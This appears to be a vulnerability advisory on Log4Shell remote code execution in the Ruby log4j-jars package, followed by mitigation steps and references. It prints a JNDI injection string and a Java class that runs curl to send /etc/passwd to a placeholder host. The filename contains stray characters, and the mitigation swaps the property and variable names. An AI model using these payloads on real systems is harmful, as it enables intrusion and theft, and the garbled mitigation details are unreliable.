Remote Code Execution (RCE) Affecting log4j-jars package, versions >=2.0.0rc1, <2.15.0

log4j-jars is a ruby bundled Log4j jars.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.

When an application uses log4j to log user input, an attacker can exploit this vulnerability, by supplying a malicious string that the application logs - for example, ${jndi:ldap://someurl/Evil}. This causes the application to execute a malicious class supplied by an attacker’s LDAP server (someurl/Evil in this example).

For example, the vulnerability can be used to inject this malicious class into an application:

public class Evil implements ObjectFactory  {
   @Override
   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' https://someurl/upload");
       return  null;
   }
}

This causes the application to disclose the etc/passwd file on the system, and send it to a remote attacker.

If upgrading the version is not possible, we strongly recommend to mitigate the vulnerability using one of these methods:

• Remove JndiLookup.class from the class path (i.e: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. While not pertinent to log4shell, consider also removing JndiManager, JMSAppender and SMTPAppender if you are not using them, as there are unconfirmed reports they could be leveraged in similar attacks in the future.
• Partial mitigation: disable lookups via system properties or environmental variables. If you use log4j >=2.10.0, you can set the system property LOG4J_FORMAT_MSG_NO_LOOKUPS or the environmental variable Dlog4j2.formatMsgNoLookups to true. (RCE is possible in some non-default Pattern Layout configurations that use a Context Lookup or a Thread Context Map pattern.)

Upgrading your JDK versions is not enough to mitigate this vulnerability in all circumstances, as it was proven that setting the com.sun.jndi.ldap.object.trustURLCodebase property to false is not enough.
For more remediation advice, please visit the Log4j Remediation Cheat Sheet post.

Note: org.apache.logging.log4j:log4j-api was originally deemed vulnerable, but Apache maintainers have since clarified that this only affects org.apache.logging.log4j:log4j-core.

• Apache Jira Issues
• Apache Jira Issues
• Apache Security Advisory
• GitHub PR
• PoC
• Snyk Blog and Vulnerability Breakdown
• Exploit DB
• CISA - Known Exploited Vulnerabilities
• Nuclei Templates